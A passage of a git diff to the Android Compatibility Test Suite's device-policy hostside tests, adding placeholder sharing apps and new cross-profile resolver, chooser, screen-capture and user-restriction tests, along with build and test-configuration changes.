+  ~ A dummy app used for when you need to install test packages that have a functioning package name
+  ~ and UID. For example, you could use it to set permissions or app-ops.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.sharingapps.sharingapp1">
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".SimpleActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.SEND" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:mimeType="*/*" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/src/SimpleActivity.java b/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/src/SimpleActivity.java
new file mode 100644
index 0000000..93fb386
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SharingApps/sharingapp1/src/SimpleActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.sharingapps.sharingapp1;
+
+import android.app.Activity;
+
+/**
+ * A simple activity to install for various users to test the intent resolver.
+ */
+public class SimpleActivity extends Activity {
+
+}
diff --git a/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml
new file mode 100644
index 0000000..dbd3be3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<!--
+  ~ A dummy app used for when you need to install test packages that have a functioning package name
+  ~ and UID. For example, you could use it to set permissions or app-ops.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.sharingapps.sharingapp2">
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".SimpleActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.SEND" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:mimeType="*/*" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/src/SimpleActivity.java b/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/src/SimpleActivity.java
new file mode 100644
index 0000000..3e17cec
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SharingApps/sharingapp2/src/SimpleActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.sharingapps.sharingapp2;
+
+import android.app.Activity;
+
+/**
+ * A simple activity to install for various users to test the intent resolver.
+ */
+public class SimpleActivity extends Activity {
+
+}
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
index bf67cc0..f6ad171 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
@@ -16,10 +16,14 @@
     name: "SimpleSmsApp",
     sdk_version: "test_current",
     srcs: ["src/**/*.java"],
+    defaults: ["cts_defaults"],
     static_libs: [
         "cts-devicepolicy-suspensionchecker",
     ],
     test_suites: [
+        "arcts",
         "cts",
+        "vts10",
+        "general-tests",
     ],
 }
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
index f9cf486..b59d82f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
@@ -38,6 +38,8 @@
     protected static final String DUMMY_APP_2_APK = "DummyApp2.apk";
     protected static final String DUMMY_APP_3_APK = "DummyApp3.apk";
     protected static final String DUMMY_APP_4_APK = "DummyApp4.apk";
+    protected static final String SHARING_APP_1_APK = "SharingApp1.apk";
+    protected static final String SHARING_APP_2_APK = "SharingApp2.apk";
     private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
     private static final String NOTIFICATION_PKG =
             "com.android.cts.managedprofiletests.notificationsender";
@@ -83,6 +85,8 @@
             getDevice().uninstallPackage(DUMMY_APP_2_APK);
             getDevice().uninstallPackage(DUMMY_APP_3_APK);
             getDevice().uninstallPackage(DUMMY_APP_4_APK);
+            getDevice().uninstallPackage(SHARING_APP_1_APK);
+            getDevice().uninstallPackage(SHARING_APP_2_APK);
         }
         super.tearDown();
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 07e0ace..5beb487 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -28,6 +28,7 @@
 import android.platform.test.annotations.RequiresDevice;
 import android.stats.devicepolicy.EventId;
 
+import com.android.compatibility.common.util.LocationModeSetter;
 import com.android.cts.devicepolicy.annotations.LockSettingsTest;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
@@ -725,6 +726,7 @@
         try {
             // Install and enable assistant, notice that profile can't have assistant.
             installAppAsUser(ASSIST_APP_APK, mPrimaryUserId);
+            waitForBroadcastIdle();
             setVoiceInteractionService(ASSIST_INTERACTION_SERVICE);
             setScreenCaptureDisabled_assist(mUserId, true /* disabled */);
         } finally {
@@ -1222,6 +1224,9 @@
             // Reboot while in kiosk mode and then unlock the device
             rebootAndWaitUntilReady();
 
+            // Wait for the LockTask starting
+            waitForBroadcastIdle();
+
             // Try to open settings via adb
             executeShellCommand("am start -a android.settings.SETTINGS");
 
@@ -2048,17 +2053,6 @@
     }
 
     @Test
-    public void testRandomizedWifiMacAddress() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
-            return;
-        }
-        try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
-            locationModeSetter.setLocationEnabled(true);
-            executeDeviceTestClass(".RandomizedWifiMacAddressTest");
-        }
-    }
-
-    @Test
     public void testIsDeviceOrganizationOwnedWithManagedProfile() throws Exception {
         if (!mHasFeature) {
             return;
@@ -2229,13 +2223,9 @@
                 ? "testScreenCaptureImpossible"
                 : "testScreenCapturePossible";
 
-        if (userId == mPrimaryUserId) {
-            // If testing for user-0, also make sure the existing screen can't be captured.
-            executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
-        }
-
         startSimpleActivityAsUser(userId);
         executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
+        forceStopPackageForUser(TEST_APP_PKG, userId);
     }
 
     protected void setScreenCaptureDisabled_assist(int userId, boolean disabled) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 93cc6eb..d9fc9eb 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -29,6 +29,7 @@
 import android.stats.devicepolicy.EventId;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.LocationModeSetter;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
@@ -700,6 +701,17 @@
         executeDeviceOwnerTest("DeviceOwnerProvisioningTest");
     }
 
+    /**
+     *  Only allow provisioning flow to be disabled if Android TV device
+     */
+    @Test
+    public void testAllowProvisioningProperty() throws Exception {
+        boolean isProvisioningAllowedForNormalUsers =
+                getBooleanSystemProperty("ro.config.allowuserprovisioning", true);
+        boolean isTv = hasDeviceFeature("android.software.leanback");
+        assertTrue(isProvisioningAllowedForNormalUsers || isTv);
+    }
+
     @Test
     public void testDisallowFactoryReset() throws Exception {
         if (!mHasFeature) {
@@ -901,7 +913,7 @@
 
     @Test
     public void testDefaultSmsApplication() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !mHasTelephony) {
             return;
         }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
index 2ed1e30..5492cf2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
@@ -150,6 +150,9 @@
                     "settings put --user " + mProfileUserId
                     + " secure managed_profile_contact_remote_search 1");
 
+            // Wait for updating cache
+            waitForBroadcastIdle();
+
             // Add test account
             runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
                     "testAddTestAccount", mParentUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
index 639c6a3..90689bc 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
@@ -507,10 +507,7 @@
             return;
         }
         installAllDummyApps();
-        getDevice().clearLogcat();
-        // Increase logcat size because the test is reading from it.
-        String command = "logcat -G 16M";
-        getDevice().executeShellCommand(command);
+        setupLogcatForTest();
 
         runWorkProfileDeviceTest(
                 ".CrossProfileTest",
@@ -523,6 +520,14 @@
                 MAINTAINED_CROSS_PROFILE_PACKAGES);
     }
 
+    private void setupLogcatForTest() throws Exception {
+        // Clear and increase logcat buffer size because the test is reading from it.
+        final String clearLogcatCommand = "logcat -c";
+        getDevice().executeShellCommand(clearLogcatCommand);
+        final String increaseLogcatBufferCommand = "logcat -G 16M";
+        getDevice().executeShellCommand(increaseLogcatBufferCommand);
+    }
+
     /** Assumes that logcat is clear before running the test. */
     private void assertDummyAppsReceivedCanInteractAcrossProfilesChangedBroadcast(
             Set<String> packageNames)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index e452368..fb4c5e9 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -18,6 +18,8 @@
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -26,11 +28,13 @@
 import android.platform.test.annotations.LargeTest;
 import android.stats.devicepolicy.EventId;
 
+import com.android.compatibility.common.util.LocationModeSetter;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 
+
 import org.junit.Ignore;
 import org.junit.Test;
 
@@ -53,15 +57,6 @@
             DEVICE_OWNER_PKG + ".BaseDeviceOwnerTest$BasicAdminReceiver";
 
     @Test
-    public void testManagedProfilesSupportedWithLockScreenOnly() throws Exception {
-        if (mHasFeature) {
-            // Managed profiles should be only supported if the device supports the secure lock
-            // screen feature.
-            assertTrue(mHasSecureLockScreen);
-        }
-    }
-
-    @Test
     public void testManagedProfileSetup() throws Exception {
         if (!mHasFeature) {
             return;
@@ -80,8 +75,14 @@
         }
         if (newUserId > 0) {
             removeUser(newUserId);
-            fail(mHasFeature ? "Device must allow creating only one managed profile"
-                    : "Device must not allow creating a managed profile");
+            if (mHasFeature) {
+                // Exception is Android TV which can create multiple managed profiles
+                if (!hasDeviceFeature("android.software.leanback")) {
+                    fail("Device must allow creating only one managed profile");
+                }
+            } else {
+                fail("Device must not allow creating a managed profile");
+            }
         }
     }
 
@@ -707,6 +708,119 @@
                 "testCreateProfile_managedProfile", mPrimaryUserId);
     }
 
+    @Test
+    public void testResolverActivityLaunchedFromPersonalProfileWithSelectedWorkTab()
+            throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
+        installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
+        installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
+        installAppAsUser(SHARING_APP_2_APK, mProfileUserId);
+        try {
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "addCrossProfileIntents", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "startSwitchToOtherProfileIntent", mPrimaryUserId);
+            assertResolverActivityInForeground(mPrimaryUserId);
+        } finally {
+            pressHome();
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "clearCrossProfileIntents", mProfileUserId);
+        }
+    }
+
+    @Test
+    public void testResolverActivityLaunchedFromWorkProfileWithSelectedPersonalTab()
+            throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
+        installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
+        installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
+        installAppAsUser(SHARING_APP_2_APK, mProfileUserId);
+        try {
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "addCrossProfileIntents", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "startSwitchToOtherProfileIntent", mProfileUserId);
+            assertResolverActivityInForeground(mProfileUserId);
+        } finally {
+            pressHome();
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "clearCrossProfileIntents", mProfileUserId);
+        }
+    }
+
+    @Test
+    public void testChooserActivityLaunchedFromPersonalProfileWithSelectedWorkTab()
+            throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
+        installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
+        installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
+        installAppAsUser(SHARING_APP_2_APK, mProfileUserId);
+        try {
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "addCrossProfileIntents", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "startSwitchToOtherProfileIntent_chooser", mPrimaryUserId);
+            assertChooserActivityInForeground(mPrimaryUserId);
+        } finally {
+            pressHome();
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "clearCrossProfileIntents", mProfileUserId);
+        }
+    }
+
+    @Test
+    public void testChooserActivityLaunchedFromWorkProfileWithSelectedPersonalTab()
+            throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
+        installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
+        installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
+        installAppAsUser(SHARING_APP_2_APK, mProfileUserId);
+        try {
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "addCrossProfileIntents", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "startSwitchToOtherProfileIntent_chooser", mProfileUserId);
+            assertChooserActivityInForeground(mProfileUserId);
+        } finally {
+            pressHome();
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileSharingTest",
+                    "clearCrossProfileIntents", mProfileUserId);
+        }
+    }
+
+    private void pressHome() throws Exception {
+        executeShellCommand("input keyevent KEYCODE_HOME");
+    }
+
+    private void assertChooserActivityInForeground(int userId)
+            throws DeviceNotAvailableException {
+        assertActivityInForeground("android/com.android.internal.app.ChooserActivity", userId);
+    }
+
+    private void assertResolverActivityInForeground(int userId)
+            throws DeviceNotAvailableException {
+        assertActivityInForeground("android/com.android.internal.app.ResolverActivity", userId);
+    }
+
+    private void assertActivityInForeground(String fullActivityName, int userId)
+            throws DeviceNotAvailableException {
+        String commandOutput =
+                getDevice().executeShellCommand("dumpsys activity activities | grep Resumed:");
+        assertThat(commandOutput).contains("u" + userId + " " + fullActivityName);
+    }
+
     private void changeUserRestrictionOrFail(String key, boolean value, int userId)
             throws DeviceNotAvailableException {
         changeUserRestrictionOrFail(key, value, userId, MANAGED_PROFILE_PKG);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 98e1c59..e3cbad8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -253,10 +253,13 @@
         try {
             runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceFeatureUtils",
                     "testHasFactoryResetProtectionPolicy", mUserId);
-        } catch (Exception e) {
+        } catch (AssertionError e) {
             // Unable to continue running tests because factory reset protection policy is not
             // supported on the device
             return;
+        } catch (Exception e) {
+            // Also skip test in case of other exceptions
+            return;
         }
 
         assertMetricsLogged(getDevice(), () -> {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index ea90988..875803c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -49,6 +49,8 @@
     private static final String ACTION_WIPE_DATA =
             "com.android.cts.deviceandprofileowner.WIPE_DATA";
 
+    private static final String TEST_APP_APK = "CtsSimpleApp.apk";
+    private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
     private static final String DUMMY_IME_APK = "DummyIme.apk";
     private static final String DUMMY_IME_PKG = "com.android.cts.dummyime";
     private static final String DUMMY_IME_COMPONENT = DUMMY_IME_PKG + "/.DummyIme";
@@ -114,15 +116,6 @@
     }
 
     @Test
-    public void testCannotAddSecondaryUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        failToCreateUser();
-    }
-
-    @Test
     public void testCanRelinquishControlOverDevice() throws Exception {
         if (!mHasFeature) {
             return;
@@ -192,15 +185,13 @@
 
     @Test
     public void testUserRestrictionsSetOnParentAreNotPersisted() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
         }
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
                 "testAddUserRestrictionDisallowConfigDateTime_onParent", mUserId);
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
-                "testHasUserRestrictionDisallowConfigDateTime", mUserId);
-        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
                 "testHasUserRestrictionDisallowConfigDateTime", mPrimaryUserId);
         removeOrgOwnedProfile();
         assertHasNoUser(mUserId);
@@ -214,6 +205,46 @@
     }
 
     @Test
+    public void testPerProfileUserRestrictionOnParent() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
+                "testPerProfileUserRestriction_onParent", mUserId);
+    }
+
+    @Test
+    public void testPerDeviceUserRestrictionOnParent() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
+                "testPerDeviceUserRestriction_onParent", mUserId);
+    }
+
+    @Test
+    public void testCameraDisabledOnParentIsEnforced() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        try {
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
+                    "testAddUserRestrictionCameraDisabled_onParent", mUserId);
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
+                    "testCannotOpenCamera", mPrimaryUserId);
+        } finally {
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
+                    "testRemoveUserRestrictionCameraEnabled_onParent", mUserId);
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
+                    "testCanOpenCamera", mPrimaryUserId);
+        }
+    }
+
+    @Test
     public void testCameraDisabledOnParentLogged() throws Exception {
         if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
@@ -445,7 +476,7 @@
 
     @Test
     public void testPersonalAppsSuspensionSms() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !mHasTelephony) {
             return;
         }
 
@@ -525,8 +556,41 @@
         if (!mHasFeature) {
             return;
         }
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        setPoAsUser(mPrimaryUserId);
+
+        try {
+            setScreenCaptureDisabled(true);
+        } finally {
+            setScreenCaptureDisabled(false);
+        }
+    }
+
+    private void takeScreenCaptureAsUser(int userId, String testMethodName) throws Exception {
+        installAppAsUser(TEST_APP_APK, /* grantPermissions */ true, /* dontKillApp */ true, userId);
+        startActivityAsUser(userId, TEST_APP_PKG, TEST_APP_PKG + ".SimpleActivity");
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ScreenCaptureDisabledTest",
-                "testSetScreenCaptureDisabledOnParent", mUserId);
+                testMethodName, userId);
+        forceStopPackageForUser(TEST_APP_PKG, userId);
+    }
+
+    private void setScreenCaptureDisabled(boolean disabled) throws Exception {
+        String testMethodName = disabled
+                ? "testSetScreenCaptureDisabledOnParent_true"
+                : "testSetScreenCaptureDisabledOnParent_false";
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ScreenCaptureDisabledTest",
+                testMethodName, mUserId);
+
+        testMethodName = disabled
+                ? "testScreenCaptureImpossible"
+                : "testScreenCapturePossible";
+
+        // Test personal profile
+        takeScreenCaptureAsUser(mPrimaryUserId, testMethodName);
+
+        // Test managed profile. This should not be disabled when screen capture is disabled on
+        // the parent by the profile owner of an organization-owned device.
+        takeScreenCaptureAsUser(mUserId, "testScreenCapturePossible");
     }
 
     private void assertHasNoUser(int userId) throws DeviceNotAvailableException {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index 9069e1e..1313c31 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -28,6 +28,7 @@
     private static final String ENABLED_TEST_APK = "CtsCrossProfileEnabledApp.apk";
     private static final String USER_ENABLED_TEST_APK = "CtsCrossProfileUserEnabledApp.apk";
     private static final String ENABLED_NO_PERMS_TEST_APK = "CtsCrossProfileEnabledNoPermsApp.apk";
+    private static final String QUIET_MODE_ENABLED_TEST_APK = "CtsModifyQuietModeEnabledApp.apk";
     private static final String NOT_ENABLED_TEST_APK = "CtsCrossProfileNotEnabledApp.apk";
     private static final String ENABLED_TEST_PACKAGE = "com.android.cts.crossprofileenabledapp";
     private static final String USER_ENABLED_TEST_PACKAGE =
@@ -36,6 +37,8 @@
             "com.android.cts.crossprofileenablednopermsapp";
     private static final String NOT_ENABLED_TEST_PACKAGE =
             "com.android.cts.crossprofilenotenabledapp";
+    private static final String QUIET_MODE_ENABLED_TEST_PACKAGE =
+            "com.android.cts.modifyquietmodeenabledapp";
 
     private int mProfileId;
     private String mOriginalLauncher;
@@ -194,6 +197,8 @@
         assertThat(result).doesNotContain(
                 buildReceivedBroadcastRegex(actionName,
                         "CrossProfileNotEnabledAppReceiver"));
+        assertThat(result).contains(
+                buildReceivedBroadcastRegex(actionName, "ModifyQuietModeEnabledAppReceiver"));
     }
 
     private String buildReceivedBroadcastRegex(String actionName, String className) {
@@ -231,6 +236,7 @@
         getDevice().uninstallPackage(USER_ENABLED_TEST_PACKAGE);
         getDevice().uninstallPackage(ENABLED_NO_PERMS_TEST_PACKAGE);
         getDevice().uninstallPackage(NOT_ENABLED_TEST_PACKAGE);
+        getDevice().uninstallPackage(QUIET_MODE_ENABLED_TEST_PACKAGE);
     }
 
     private void installCrossProfileApps()
@@ -239,10 +245,10 @@
         installCrossProfileApp(USER_ENABLED_TEST_APK, /* grantPermissions= */ true);
         installCrossProfileApp(NOT_ENABLED_TEST_APK, /* grantPermissions= */ true);
         installCrossProfileApp(ENABLED_NO_PERMS_TEST_APK, /* grantPermissions= */  false);
+        installCrossProfileApp(QUIET_MODE_ENABLED_TEST_APK, /* grantPermissions= */  true);
     }
 
     private void enableCrossProfileAppsOp() throws DeviceNotAvailableException {
-        enableCrossProfileAppsOp(ENABLED_TEST_PACKAGE, mPrimaryUserId);
         enableCrossProfileAppsOp(ENABLED_NO_PERMS_TEST_PACKAGE, mPrimaryUserId);
     }
 
diff --git a/hostsidetests/graphics/gpuprofiling/AndroidTest.xml b/hostsidetests/graphics/gpuprofiling/AndroidTest.xml
index 6dd7410..bfaa33e 100644
--- a/hostsidetests/graphics/gpuprofiling/AndroidTest.xml
+++ b/hostsidetests/graphics/gpuprofiling/AndroidTest.xml
@@ -20,9 +20,13 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsGraphicsProfilingDataApp.apk" />
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
-        <option name="push" value="ctsgraphicsgpuprofilinginit->/data/local/tmp/ctsgraphicsgpuprofilinginit" />
+        <option name="push" value="ctsgraphicsgpucountersinit->/data/local/tmp/ctsgraphicsgpucountersinit" />
         <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/graphics/gpuprofiling/app/Android.bp b/hostsidetests/graphics/gpuprofiling/app/Android.bp
index 6c05ece..9bb6ce7 100644
--- a/hostsidetests/graphics/gpuprofiling/app/Android.bp
+++ b/hostsidetests/graphics/gpuprofiling/app/Android.bp
@@ -13,11 +13,11 @@
 // limitations under the License.
 
 cc_test {
-    name: "ctsgraphicsgpuprofilinginit",
